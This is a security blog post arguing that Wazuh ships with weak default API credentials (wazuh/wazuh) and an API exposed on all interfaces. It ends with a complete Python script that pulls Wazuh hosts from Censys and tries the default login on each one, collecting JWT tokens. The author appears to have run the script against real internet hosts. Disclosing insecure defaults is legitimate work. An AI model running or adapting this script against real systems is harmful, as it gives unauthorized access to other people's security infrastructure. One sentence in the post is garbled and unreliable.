Introduction
After installing Wazuh using the Quickstart method, by default, a random ADMIN_PASSWORD
is generated for user login. This password is extremely strong and nearly impossible to crack through brute force.
INFO: --- Summary ---
INFO: You can access the web interface at https://<wazuh-dashboard-ip>
User: admin
Password: <ADMIN_PASSWORD>
INFO: Installation finished.
However, Wazuh also supports an API module, and the default configuration for this module has some issues that could potentially be exploited after installation.
Issues
Regarding the API, the official documentation states the following (Documentation link):
From the documentation, we can see that by default, a self-signed certificate is used, and the username and password for logging in are set to wazuh/wazuh, which does not match the authentication password used for the web interface. If the Wazuh API port is exposed to the internet or if an attacker has already infiltrated the internal network, they could potentially use these credentials to log in.
Attempting Verification
First, set up a Wazuh service locally and access the API to obtain the self-signed certificate details:
From the certificate information, you can retrieve the Common Name
, which allows you to find other services using the same certificate on the internet. Alternatively, you can search using the port’s fingerprint or go to engines like ZoomEye or Shodan to filter results.
Now that we know how to search and log in, the remaining step is to write the code for verification. To simplify things, I’ll use ChatGPT to generate the necessary code.
Once the code successfully runs, it shows that obtaining the jwt_token
from the Wazuh system is exceedingly high. This indirectly indicates that the default configuration of the Wazuh API is not very reasonable.
Conclusion
There is indeed a note about a Secure API
on the Wazuh API interface, but the main focus on the page is: to configure the certificates, refer to the following guide Securing API.
Only in the explanatory inner pages does it remind users to change the default API password, highlighted with a red background.
The API user must log in using API methods to change their password. Users who don’t utilize the API may never realize there’s an additional user password that needs updating, and by default, the API listens on the 0.0.0.0
address, which is not a sound design choice.
Code Attachment
import httpx
import asyncio
async def main():
# Set request headers; modify as needed
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
'Accept': 'application/json',
'Authorization': 'Basic REPLACE_YOURS'
}
# Send GET request
url = "https://search.censys.io/api/v2/hosts/search?virtual_hosts=EXCLUDE&q=%28services.tls.certificates.leaf_data.issuer.common_name%3Dwazuh.com%29+and+services.port%3D%6055000%60"
response = httpx.get(url, headers=headers)
# Handle response data
if response.status_code == 200:
json_data = response.json()
hits = json_data.get("result", {}).get("hits", [])
urls = []
for hit in hits:
ip = hit.get("ip")
if ip:
url = f"https://{ip}:55000/security/user/authenticate?raw=true"
urls.append(url)
# Access all URLs concurrently
async def get_url(url, auth):
async with httpx.AsyncClient(auth=auth, verify=False) as client:
return await client.get(url)
auth = httpx.BasicAuth("wazuh", "wazuh")
tasks = [get_url(url, auth) for url in urls]
responses = await asyncio.gather(*tasks)
# Output results
for i, response in enumerate(responses):
if response.status_code == 200:
print(f"{hits[i]['ip']} - {response.text}")
else:
print(f"{hits[i]['ip']} - {response.status_code}")
else:
print(f"Request failed, status code: {response.status_code}")
# Run entry point
asyncio.run(main())
“`
Leave a Reply